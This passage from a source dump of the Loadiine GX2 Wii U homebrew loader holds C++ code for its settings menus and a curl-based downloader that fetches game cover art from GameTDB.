Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _SETTINGS_CATEGORY_WINDOW_H_ #define _SETTINGS_CATEGORY_WINDOW_H_ #include "gui/Gui.h" #include "settings/SettingsDefs.h" #include "gui/Scrollbar.h" class SettingsCategoryMenu : public GuiFrame, public sigslot::has_slots<> { public: SettingsCategoryMenu(int w, int h, const std::string & titleText, const SettingType * categorySettings, int settingsCount); virtual ~SettingsCategoryMenu(); void update(GuiController *c); sigslot::signal1 settingsBackClicked; private: void OnSettingButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnBackButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { settingsBackClicked(this); } void OnSubMenuCloseClicked(GuiElement *element); void OnSubMenuOpenEffectFinish(GuiElement *element); void OnSubMenuCloseEffectFinish(GuiElement *element); void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnKeyPadOkClicked(GuiElement *element, const std::string & newValue); void OnButtonChoiceOkClicked(GuiElement *element, int selectedButton); void OnScrollbarListChange(s32 selectItem, s32 pageIndex); const SettingType * categorySettings; const int categorySettingsCount; int currentYOffset; GuiFrame categoryFrame; Scrollbar scrollbar; GuiSound *buttonClickSound; GuiImageData *backImageData; GuiImage backImage; GuiButton backButton; GuiText titleText; GuiImageData *titleImageData; GuiImage titleImage; GuiImageData *settingImageData; GuiImageData *settingSelectedImageData; typedef struct { GuiImage *settingImage; GuiImage *settingImageSelected; GuiButton *settingButton; GuiText *settingLabel; } CategorySetting; std::vector settings; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; GuiTrigger buttonATrigger; GuiTrigger buttonBTrigger; GuiTrigger buttonUpTrigger; GuiTrigger buttonDownTrigger; GuiButton DPADButtons; bool updateButtons = false;; int currentSettingsIdx; int selectedButtonDPAD; }; #endif //_SETTINGS_WINDOW_H_ ================================================ FILE: src/menu/SettingsMenu.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include "SettingsMenu.h" #include "Application.h" #include "CreditsMenu.h" #include "settings/CSettings.h" #include "common/common.h" #include "utils/StringTools.h" #include "SettingsCategoryMenu.h" #include "settings/SettingsDefs.h" #include "settings/SettingsEnums.h" #include "gitrev.h" static const float smallIconScale = 0.4f; static const ValueString ValueOnOff[] = { { 0, trNOOP("Off") }, { 1, trNOOP("On") } }; static const ValueString ValueGameViewMode[] = { { 0, trNOOP("Icon Carousel") }, { 1, trNOOP("Grid View") }, { 2, trNOOP("Cover Carousel") } }; static const struct { const char *name; const char *icon; const char *iconGlow; const char *descriptions; } stSettingsCategories[] = { { trNOOP("GUI"), "guiSettingsIcon.png", "guiSettingsIconGlow.png", trNOOP("Game View Selection") "\n" trNOOP("Background customizations") }, { trNOOP("Loader"), "loaderSettingsIcon.png", "loaderSettingsIconGlow.png", trNOOP("Customize games path") "\n" trNOOP("Customize save path") "\n" trNOOP("Set save mode") "\n" trNOOP("Adjust log server IP and port") }, { trNOOP("Game"), "gameSettingsIcon.png", "gameSettingsIconGlow.png", trNOOP("Launch method selection") "\n" trNOOP("Log server control") "\n" "\n" trNOOP("PyGecko settings") "\n" trNOOP("Padcon settings") "\n" trNOOP("HID settings")}, { trNOOP("Credits"), "creditsIcon.png", "creditsIconGlow.png", trNOOP("Credits to all contributors") } }; static const SettingType GuiSettings[] = { { trNOOP("Game View TV"), ValueGameViewMode, Type3Buttons, CSettings::GameViewModeTv }, { trNOOP("Game View DRC"), ValueGameViewMode, Type3Buttons, CSettings::GameViewModeDrc } }; static const SettingType LoaderSettings[] = { { trNOOP("Show Game Settings"), ValueOnOff, Type2Buttons, CSettings::ShowGameSettings }, { trNOOP("Host IP"), 0, TypeIP, CSettings::GameLogServerIp }, { trNOOP("Game Path"), 0, TypeDisplayOnly, CSettings::GamePath }, { trNOOP("Game Save Path"), 0, TypeDisplayOnly, CSettings::GameSavePath }, { trNOOP("Game Save Mode"), ValueGameSaveModes, Type2Buttons, CSettings::GameSaveMode } }; static const SettingType GameSettings[] = { { trNOOP("Launch Mode"), ValueLaunchMode, Type4Buttons, CSettings::GameLaunchMethod }, { trNOOP("Log Server Control"), ValueOnOff, Type2Buttons, CSettings::GameLogServer }, { trNOOP("PyGecko"), ValueOnOff, Type2Buttons, CSettings::LaunchPyGecko }, { trNOOP("Padcon"), ValueOnOff, Type2Buttons, CSettings::PadconMode }, { trNOOP("HID-Pad"), ValueOnOff, Type2Buttons, CSettings::HIDPadEnabled }, { trNOOP("HID-Pad Rumble"), ValueOnOff, Type2Buttons, CSettings::HIDPadRumble }, { trNOOP("HID-Pad Network"), ValueOnOff, Type2Buttons, CSettings::HIDPadNetwork } }; SettingsMenu::SettingsMenu(int w, int h) : GuiFrame(w, h) , categorySelectionFrame(w, h) , particleBgImage(w, h, 50) , buttonClickSound(Resources::GetSound("settings_click_2.mp3")) , quitImageData(Resources::GetImageData("quitButton.png")) , categoryImageData(Resources::GetImageData("settingsCategoryButton.png")) , categoryBgImageData(Resources::GetImageData("settingsCategoryBg.png")) , quitImage(quitImageData) , quitButton(quitImage.getWidth(), quitImage.getHeight()) , touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH) , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A) , buttonATrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_A, true) , buttonBTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_B, true) , buttonLTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_L, true) , buttonRTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_R, true) , buttonLeftTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_LEFT | GuiTrigger::STICK_L_LEFT, true) , buttonRightTrigger(GuiTrigger::CHANNEL_ALL, GuiTrigger::BUTTON_RIGHT | GuiTrigger::STICK_L_RIGHT, true) , leftArrowImageData(Resources::GetImageData("leftArrow.png")) , rightArrowImageData(Resources::GetImageData("rightArrow.png")) , leftArrowImage(leftArrowImageData) , rightArrowImage(rightArrowImageData) , leftArrowButton(leftArrowImage.getWidth(), leftArrowImage.getHeight()) , rightArrowButton(rightArrowImage.getWidth(), rightArrowImage.getHeight()) , DPADButtons(w,h) { currentPosition = 0; targetPosition = 0; selectedCategory = 0; animationSpeed = 25; bUpdatePositions = true; quitButton.setImage(&quitImage); quitButton.setAlignment(ALIGN_BOTTOM | ALIGN_LEFT); quitButton.clicked.connect(this, &SettingsMenu::OnQuitButtonClick); quitButton.setTrigger(&touchTrigger); quitButton.setTrigger(&wpadTouchTrigger); quitButton.setEffectGrow(); quitButton.setSoundClick(buttonClickSound); categorySelectionFrame.append(&quitButton); versionText.setColor(glm::vec4(0.6f, 0.6f, 0.6f, 1.0f)); versionText.setFontSize(42); versionText.setAlignment(ALIGN_TOP | ALIGN_RIGHT); versionText.setPosition(-50, -80); versionText.setTextf("Loadiine GX2 %s (build %s)", LOADIINE_VERSION, GetRev()); categorySelectionFrame.append(&versionText); const u32 cuCategoriesCount = sizeof(stSettingsCategories) / sizeof(stSettingsCategories[0]); if(cuCategoriesCount > 0) selectedCategory = 0; for(u32 idx = 0; idx < cuCategoriesCount; idx++) { settingsCategories.resize(idx + 1); GuiSettingsCategory & category = settingsCategories[idx]; std::vector splitDescriptions = stringSplit(stSettingsCategories[idx].descriptions, "\n"); category.categoryIconData = Resources::GetImageData(stSettingsCategories[idx].icon); category.categoryIconGlowData = Resources::GetImageData(stSettingsCategories[idx].iconGlow); category.categoryLabel = new GuiText(tr(stSettingsCategories[idx].name), 46, glm::vec4(0.8f, 0.8f, 0.8f, 1.0f)); category.categoryLabel->setPosition(0, -120); category.categoryBgImage = new GuiImage(categoryBgImageData); category.categoryImages = new GuiImage(categoryImageData); category.categoryIcon = new GuiImage(category.categoryIconData); category.categoryIconGlow = new GuiImage(category.categoryIconGlowData); category.categoryButton = new GuiButton(category.categoryImages->getWidth(), category.categoryImages->getHeight()); category.categoryIcon->setPosition(0, 40); category.categoryIconGlow->setPosition(0, 40); category.categoryButton->setLabel(category.categoryLabel); category.categoryButton->setImage(category.categoryImages); category.categoryButton->setPosition(-300, 0); category.categoryButton->setIcon(category.categoryIcon); category.categoryButton->setIconOver(category.categoryIconGlow); category.categoryButton->setTrigger(&touchTrigger); category.categoryButton->setTrigger(&wpadTouchTrigger); category.categoryButton->setSoundClick(buttonClickSound); category.categoryButton->setEffectGrow(); category.categoryButton->clicked.connect(this, &SettingsMenu::OnCategoryClick); categorySelectionFrame.append(category.categoryBgImage); categorySelectionFrame.append(category.categoryButton); category.categoryButton->setParent(category.categoryBgImage); category.categoryBgImage->setPosition(currentPosition + (category.categoryBgImage->getWidth() + 40) * idx, 0); for(u32 n = 0; n < splitDescriptions.size(); n++) { GuiText * descr = new GuiText(tr(splitDescriptions[n].c_str()), 46, glm::vec4(0.8f, 0.8f, 0.8f, 1.0f)); descr->setAlignment(ALIGN_MIDDLE | ALIGN_LEFT); descr->setPosition(category.categoryBgImage->getWidth() * 0.5f - 50.0f, category.categoryBgImage->getHeight() * 0.5f - 100.0f - n * 60.0f); categorySelectionFrame.append(descr); descr->setParent(category.categoryBgImage); category.descriptions.push_back(descr); } GuiImage *smallIconOver = new GuiImage(category.categoryIconGlowData); GuiImage *smallIcon = new GuiImage(category.categoryIconData); GuiButton *smallIconButton = new GuiButton(smallIcon->getWidth() * smallIconScale, smallIcon->getHeight() * smallIconScale); smallIcon->setScale(smallIconScale); smallIconOver->setScale(smallIconScale); smallIconButton->setImage(smallIcon); smallIconButton->setEffectGrow(); smallIconButton->setTrigger(&touchTrigger); smallIconButton->setTrigger(&wpadTouchTrigger); smallIconButton->setSoundClick(buttonClickSound); smallIconButton->clicked.connect(this, &SettingsMenu::OnSmallIconClick); categorySelectionFrame.append(smallIconButton); categorySmallImages.push_back(smallIcon); categorySmallImagesOver.push_back(smallIconOver); categorySmallButtons.push_back(smallIconButton); } leftArrowButton.setImage(&leftArrowImage); leftArrowButton.setEffectGrow(); leftArrowButton.setPosition(40, 0); leftArrowButton.setAlignment(ALIGN_LEFT | ALIGN_MIDDLE); leftArrowButton.setTrigger(&touchTrigger); leftArrowButton.setTrigger(&wpadTouchTrigger); leftArrowButton.setSoundClick(buttonClickSound); leftArrowButton.clicked.connect(this, &SettingsMenu::OnCategoryLeftClick); categorySelectionFrame.append(&leftArrowButton); rightArrowButton.setImage(&rightArrowImage); rightArrowButton.setEffectGrow(); rightArrowButton.setPosition(-40, 0); rightArrowButton.setAlignment(ALIGN_RIGHT | ALIGN_MIDDLE); rightArrowButton.setTrigger(&touchTrigger); rightArrowButton.setTrigger(&wpadTouchTrigger); rightArrowButton.setSoundClick(buttonClickSound); rightArrowButton.clicked.connect(this, &SettingsMenu::OnCategoryRightClick); categorySelectionFrame.append(&rightArrowButton); DPADButtons.setTrigger(&buttonATrigger); DPADButtons.setTrigger(&buttonBTrigger); DPADButtons.setTrigger(&buttonLTrigger); DPADButtons.setTrigger(&buttonRTrigger); DPADButtons.setTrigger(&buttonLeftTrigger); DPADButtons.setTrigger(&buttonRightTrigger); DPADButtons.clicked.connect(this, &SettingsMenu::OnDPADClick); append(&DPADButtons); categorySelectionFrame.append(&DPADButtons); setTargetPosition(0); moving = false; //! the particle BG is always appended in all sub menus append(&particleBgImage); append(&categorySelectionFrame); } SettingsMenu::~SettingsMenu() { for(u32 i = 0; i < settingsCategories.size(); ++i) { delete settingsCategories[i].categoryLabel; delete settingsCategories[i].categoryBgImage; delete settingsCategories[i].categoryImages; delete settingsCategories[i].categoryIcon; delete settingsCategories[i].categoryIconGlow; delete settingsCategories[i].categoryButton; for(u32 n = 0; n < settingsCategories[i].descriptions.size(); n++) delete settingsCategories[i].descriptions[n]; Resources::RemoveImageData(settingsCategories[i].categoryIconData); Resources::RemoveImageData(settingsCategories[i].categoryIconGlowData); delete categorySmallImages[i]; delete categorySmallImagesOver[i]; delete categorySmallButtons[i]; } Resources::RemoveImageData(quitImageData); Resources::RemoveImageData(categoryImageData); Resources::RemoveImageData(categoryBgImageData); Resources::RemoveImageData(leftArrowImageData); Resources::RemoveImageData(rightArrowImageData); Resources::RemoveSound(buttonClickSound); } void SettingsMenu::setTargetPosition(int selectedIdx) { if(selectedIdx < 0 || selectedIdx >= (int)settingsCategories.size()) return; moving = true; selectedCategory = selectedIdx; targetPosition = (settingsCategories[selectedCategory].categoryBgImage->getWidth() + 40) * -selectedCategory; if(selectedCategory == 0) { leftArrowButton.setClickable(false); leftArrowButton.setSelectable(false); leftArrowButton.setVisible(false); } else { leftArrowButton.setClickable(true); leftArrowButton.setSelectable(true); leftArrowButton.setVisible(true); } if(selectedCategory == (int)(settingsCategories.size()-1)) { rightArrowButton.setClickable(false); rightArrowButton.setSelectable(false); rightArrowButton.setVisible(false); } else { rightArrowButton.setClickable(true); rightArrowButton.setSelectable(true); rightArrowButton.setVisible(true); } } void SettingsMenu::OnSubMenuCloseClicked(GuiElement *element) { //! disable element for triggering buttons again element->setState(GuiElement::STATE_DISABLED); element->setEffect(EFFECT_FADE, -10, 0); element->effectFinished.connect(this, &SettingsMenu::OnSubMenuCloseEffectFinish); //! fade in category selection categorySelectionFrame.setEffect(EFFECT_FADE, 10, 255); append(&categorySelectionFrame); } void SettingsMenu::OnSubMenuOpenEffectFinish(GuiElement *element) { //! make element clickable again element->clearState(GuiElement::STATE_DISABLED); element->effectFinished.disconnect(this); //! remove category selection from settings remove(&categorySelectionFrame); } void SettingsMenu::OnSubMenuCloseEffectFinish(GuiElement *element) { remove(element); AsyncDeleter::pushForDelete(element); //! enable all elements again categorySelectionFrame.clearState(GuiElement::STATE_DISABLED); } void SettingsMenu::OnCategoryClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(!moving){ int indexClicked = -1; for(u32 i = 0; i < settingsCategories.size(); ++i) { if(button == settingsCategories[i].categoryButton) { indexClicked = i; break; } } if(indexClicked == -1) indexClicked = selectedCategory; const SettingType * categorySettings = NULL; int categorySettingsCount = 0; switch(indexClicked) { case 0: categorySettings = GuiSettings; categorySettingsCount = sizeof(GuiSettings) / sizeof(SettingType); break; case 1: categorySettings = LoaderSettings; categorySettingsCount = sizeof(LoaderSettings) / sizeof(SettingType); break; case 2: categorySettings = GameSettings; categorySettingsCount = sizeof(GameSettings) / sizeof(SettingType); break; case 3: { CreditsMenu * menu = new CreditsMenu(getWidth(), getHeight(), tr(stSettingsCategories[indexClicked].name)); menu->setEffect(EFFECT_FADE, 10, 255); menu->setState(STATE_DISABLED); menu->effectFinished.connect(this, &SettingsMenu::OnSubMenuOpenEffectFinish); menu->settingsBackClicked.connect(this, &SettingsMenu::OnSubMenuCloseClicked); //! disable all current elements and fade them out with fading in new menu categorySelectionFrame.setState(STATE_DISABLED); categorySelectionFrame.setEffect(EFFECT_FADE, -10, 0); //! now append new menu append(menu); return; } default: return; } SettingsCategoryMenu *menu = new SettingsCategoryMenu(getWidth(), getHeight(), tr(stSettingsCategories[indexClicked].name), categorySettings, categorySettingsCount); menu->setEffect(EFFECT_FADE, 10, 255); menu->setState(STATE_DISABLED); menu->effectFinished.connect(this, &SettingsMenu::OnSubMenuOpenEffectFinish); menu->settingsBackClicked.connect(this, &SettingsMenu::OnSubMenuCloseClicked); //! disable all current elements and fade them out with fading in new menu categorySelectionFrame.setState(STATE_DISABLED); categorySelectionFrame.setEffect(EFFECT_FADE, -10, 0); //! now append new menu append(menu); } } void SettingsMenu::OnSmallIconClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { for(u32 i = 0; i < categorySmallButtons.size(); ++i) { if(button == categorySmallButtons[i]) { setTargetPosition(i); animationSpeed = 70; break; } } } void SettingsMenu::OnCategoryRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(selectedCategory < (int)(settingsCategories.size()-1)) { selectedCategory++; setTargetPosition(selectedCategory); animationSpeed = 25; } } void SettingsMenu::OnCategoryLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(selectedCategory > 0 && settingsCategories.size() > 0) { selectedCategory--; setTargetPosition(selectedCategory); animationSpeed = 25; } } void SettingsMenu::OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { if(trigger == &buttonATrigger) { //! do not auto launch when wiimote is pointing to screen and presses A if((controller->chan & (GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5)) && controller->data.validPointer) { return; } OnCategoryClick(button,controller,trigger); } else if(trigger == &buttonBTrigger){ OnQuitButtonClick(button,controller,trigger); } else if(trigger == &buttonLTrigger){ OnCategoryLeftClick(button,controller,trigger); } else if(trigger == &buttonRTrigger){ OnCategoryRightClick(button,controller,trigger); } else if(trigger == &buttonLeftTrigger){ OnCategoryLeftClick(button,controller,trigger); } else if(trigger == &buttonRightTrigger){ OnCategoryRightClick(button,controller,trigger); } } void SettingsMenu::update(GuiController *c) { if(currentPosition < targetPosition) { currentPosition += animationSpeed; if(currentPosition >= targetPosition) { currentPosition = targetPosition; moving = false; } bUpdatePositions = true; } else if(currentPosition > targetPosition) { currentPosition -= animationSpeed; if(currentPosition <= targetPosition) { currentPosition = targetPosition; moving = false; } bUpdatePositions = true; } if(bUpdatePositions) { bUpdatePositions = false; for(u32 i = 0; i < settingsCategories.size(); ++i) { f32 posX = -350 + (categorySmallImages[i]->getWidth() * smallIconScale + 30) * i; f32 posY = -300; if((int)i == selectedCategory) { posY += 0.3f * categorySmallImages[i]->getHeight() * smallIconScale; categorySmallButtons[i]->setPosition(posX, posY); categorySmallButtons[i]->setImage(categorySmallImagesOver[i]); } else { categorySmallButtons[i]->setPosition(posX, posY); categorySmallButtons[i]->setImage(categorySmallImages[i]); } settingsCategories[i].categoryBgImage->setPosition(currentPosition + (settingsCategories[selectedCategory].categoryBgImage->getWidth() + 40) * i, 0.0f); } } GuiFrame::update(c); } ================================================ FILE: src/menu/SettingsMenu.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _SETTINGS_WINDOW_H_ #define _SETTINGS_WINDOW_H_ #include "gui/Gui.h" #include "gui/GuiParticleImage.h" #include "settings/SettingsDefs.h" #include "settings/SettingsEnums.h" #include "common/common.h" static const ValueString ValueGameSaveModes[] = { { GAME_SAVES_SHARED, trNOOP("Shared Mode") }, { GAME_SAVES_UNIQUE, trNOOP("Unique Mode") }, }; static const ValueString ValueLaunchMode[] = { { LOADIINE_MODE_MII_MAKER, trNOOP("Mii Maker Mode") }, { LOADIINE_MODE_SMASH_BROS, trNOOP("Smash Bros Mode") }, { LOADIINE_MODE_KARAOKE, trNOOP("Karaoke Mode") }, { LOADIINE_MODE_ART_ATELIER, trNOOP("Art Atelier Mode") } }; class SettingsMenu : public GuiFrame, public sigslot::has_slots<> { public: SettingsMenu(int w, int h); virtual ~SettingsMenu(); void update(GuiController *c); sigslot::signal1 settingsQuitClicked; private: void OnSmallIconClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnCategoryLeftClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnCategoryRightClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnCategoryClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnDPADClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger); void OnQuitButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger) { settingsQuitClicked(this); } void OnSubMenuCloseClicked(GuiElement *element); void OnSubMenuOpenEffectFinish(GuiElement *element); void OnSubMenuCloseEffectFinish(GuiElement *element); void setTargetPosition(int selectedIdx); GuiFrame categorySelectionFrame; GuiParticleImage particleBgImage; GuiText versionText; GuiSound *buttonClickSound; GuiImageData *quitImageData; GuiImageData *categoryImageData; GuiImageData *categoryBgImageData; GuiImage quitImage; typedef struct { GuiImageData *categoryIconData; GuiImageData *categoryIconGlowData; GuiText *categoryLabel; GuiImage *categoryIcon; GuiImage *categoryIconGlow; GuiImage *categoryImages; GuiImage *categoryBgImage; GuiButton *categoryButton; std::vector descriptions; } GuiSettingsCategory; std::vector settingsCategories; std::vector categoryButtons; std::vector categorySmallButtons; std::vector categorySmallImagesOver; std::vector categorySmallImages; GuiButton quitButton; GuiTrigger touchTrigger; GuiTrigger wpadTouchTrigger; GuiTrigger buttonATrigger; GuiTrigger buttonBTrigger; GuiTrigger buttonLTrigger; GuiTrigger buttonRTrigger; GuiTrigger buttonLeftTrigger; GuiTrigger buttonRightTrigger; GuiImageData *leftArrowImageData; GuiImageData *rightArrowImageData; GuiImage leftArrowImage; GuiImage rightArrowImage; GuiButton leftArrowButton; GuiButton rightArrowButton; GuiButton DPADButtons; int selectedCategory; int currentPosition; int targetPosition; int animationSpeed; bool bUpdatePositions; bool moving; }; #endif //_SETTINGS_WINDOW_H_ ================================================ FILE: src/network/FileDownloader.cpp ================================================ /**************************************************************************** * Copyright (C) 2016 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include "FileDownloader.h" #include "dynamic_libs/curl_functions.h" #include "utils/logger.h" bool FileDownloader::getFile(const std::string & downloadUrl, std::string & fileBuffer, ProgressCallback callback, void *arg) { curl_private_data_t private_data; private_data.progressCallback = callback; private_data.progressArg = arg; private_data.buffer = 0; private_data.filesize = 0; private_data.file = 0; bool result = internalGetFile(downloadUrl, &private_data); if(private_data.filesize > 0 && private_data.buffer) { fileBuffer.resize(private_data.filesize); memcpy(&fileBuffer[0], private_data.buffer, private_data.filesize); } if(private_data.buffer) free(private_data.buffer); return result; } bool FileDownloader::getFile(const std::string & downloadUrl, const std::string & outputPath, ProgressCallback callback, void *arg) { curl_private_data_t private_data; private_data.progressCallback = callback; private_data.progressArg = arg; private_data.buffer = 0; private_data.filesize = 0; private_data.file = new CFile(outputPath.c_str(), CFile::WriteOnly); if(!private_data.file->isOpen()) { delete private_data.file; DEBUG_FUNCTION_LINE("Can not write to file %s\n", outputPath.c_str()); return false; } bool result = internalGetFile(downloadUrl, &private_data); private_data.file->close(); delete private_data.file; return result; } bool FileDownloader::internalGetFile(const std::string & downloadUrl, curl_private_data_t * private_data) { CURL * curl = n_curl_easy_init(); if(!curl) return false; n_curl_easy_setopt(curl, CURLOPT_URL, downloadUrl.c_str()); n_curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, FileDownloader::curlCallback); n_curl_easy_setopt(curl, CURLOPT_WRITEDATA, private_data); //n_curl_easy_setopt(curl, CURLOPT_ERRORBUFFER, errbuf); if(private_data->progressCallback) { n_curl_easy_setopt(curl, CURLOPT_PROGRESSFUNCTION, FileDownloader::curlProgressCallback); n_curl_easy_setopt(curl, CURLOPT_PROGRESSDATA, private_data); } int ret = n_curl_easy_perform(curl); if(ret) { DEBUG_FUNCTION_LINE("n_curl_easy_perform ret %i\n", ret); n_curl_easy_cleanup(curl); return false; } if(!private_data->filesize) { DEBUG_FUNCTION_LINE("file length is 0"); n_curl_easy_cleanup(curl); return false; } int resp = 404; n_curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &resp); if(resp != 200) { DEBUG_FUNCTION_LINE("response != 200"); n_curl_easy_cleanup(curl); return false; } n_curl_easy_cleanup(curl); return true; } int FileDownloader::curlCallback(void *buffer, int size, int nmemb, void *userp) { curl_private_data_t *private_data = (curl_private_data_t *)userp; int read_len = size*nmemb; if(private_data->file) { return private_data->file->write((u8*)buffer, read_len); } else { if(!private_data->buffer) { private_data->buffer = (u8*) malloc(read_len); } else { u8 *tmp = (u8*) realloc(private_data->buffer, private_data->filesize + read_len); if(!tmp) { free(private_data->buffer); private_data->buffer = NULL; } else { private_data->buffer = tmp; } } if(!private_data->buffer) { private_data->filesize = 0; return -1; } memcpy(private_data->buffer + private_data->filesize, buffer, read_len); private_data->filesize += read_len; return read_len; } } int FileDownloader::curlProgressCallback(void *clientp, double dltotal, double dlnow, double ultotal, double ulnow) { curl_private_data_t *private_data = (curl_private_data_t *)clientp; if(private_data->progressCallback) { private_data->progressCallback(private_data->progressArg, (u32)dlnow, (u32)dltotal); } return 0; } ================================================ FILE: src/network/FileDownloader.h ================================================ /**************************************************************************** * Copyright (C) 2016 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _FILE_DOWNLOADER_H #define _FILE_DOWNLOADER_H #include #include "fs/CFile.hpp" class FileDownloader { public: typedef void (*ProgressCallback)(void *arg, u32 done, u32 total); static bool getFile(const std::string & downloadUrl, std::string & fileBuffer, ProgressCallback callback = 0, void *arg = 0); static bool getFile(const std::string & downloadUrl, const std::string & outputPath, ProgressCallback callback = 0, void *arg = 0); private: typedef struct { ProgressCallback progressCallback; void *progressArg; CFile * file; u8 *buffer; u32 filesize; } curl_private_data_t; static bool internalGetFile(const std::string & downloadUrl, curl_private_data_t * private_data); static int curlCallback(void *buffer, int size, int nmemb, void *userp); static int curlProgressCallback(void *clientp, double dltotal, double dlnow, double ultotal, double ulnow); }; #endif // _FILE_DOWNLOADER_H ================================================ FILE: src/network/GameImageDownloader.cpp ================================================ /**************************************************************************** * Copyright (C) 2011 Dimok * Copyright (C) 2012 Cyan * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include "GameImageDownloader.h" #include "settings/CSettings.h" #include "game/GameList.h" #include "fs/CFile.hpp" #include "fs/fs_utils.h" #include "utils/logger.h" using namespace std; #define VALID_IMAGE(size) (!(size == 36864 || size <= 1024 || size == 7386 || size <= 1174 || size == 4446)) static const char *serverURL3D = "http://art.gametdb.com/wiiu/cover3D/"; static const char *serverURL2D = "http://art.gametdb.com/wiiu/cover/"; static const char *serverURLFullHQ = "http://art.gametdb.com/wiiu/coverfullHQ/"; static const char *serverURLFull = "http://art.gametdb.com/wiiu/coverfull/"; static const char *serverURLOrigDiscs = "http://art.gametdb.com/wiiu/discM/"; static const char *serverURLCustomDiscs = "http://art.gametdb.com/wiiu/disccustom/"; void GameImageDownloader::executeThread() { MissingImagesCount = 0; FindMissingImages(); if(MissingImagesCount == 0) { DEBUG_FUNCTION_LINE("No images missing\n"); asyncLoadFinished(this, MissingImages.size()); return; } u32 TotalDownloadCount = MissingImagesCount; DownloadProcess(TotalDownloadCount); asyncLoadFinished(this, MissingImages.size()); } void GameImageDownloader::FindMissingImages() { //if(choices & CheckedBox1) FindMissing(CSettings::getValueAsString(CSettings::GameCover3DPath).c_str(), serverURL3D, NULL, "Downloading 3D Covers", NULL, ".png"); /* if(choices & CheckedBox2) FindMissing(Settings.covers2d_path, serverURL2D, NULL, tr("Downloading Flat Covers"), NULL, ".png"); if(choices & CheckedBox3) { const char * downloadURL = (Settings.coversfull == COVERSFULL_HQ || Settings.coversfull == COVERSFULL_HQ_LQ ) ? serverURLFullHQ : serverURLFull; const char * progressTitle = (Settings.coversfull == COVERSFULL_HQ || Settings.coversfull == COVERSFULL_HQ_LQ ) ? tr("Downloading Full HQ Covers") : tr("Downloading Full LQ Covers"); const char * backupURL = (Settings.coversfull == COVERSFULL_HQ_LQ || Settings.coversfull == COVERSFULL_LQ_HQ) ? ((Settings.coversfull == COVERSFULL_HQ_LQ) ? serverURLFull : serverURLFullHQ) : NULL; const char * backupProgressTitle = (Settings.coversfull == COVERSFULL_HQ_LQ || Settings.coversfull == COVERSFULL_LQ_HQ) ? ((Settings.coversfull == COVERSFULL_HQ_LQ) ? tr("Downloading Full LQ Covers") : tr("Downloading Full HQ Covers")) : NULL; FindMissing(Settings.coversFull_path, downloadURL, 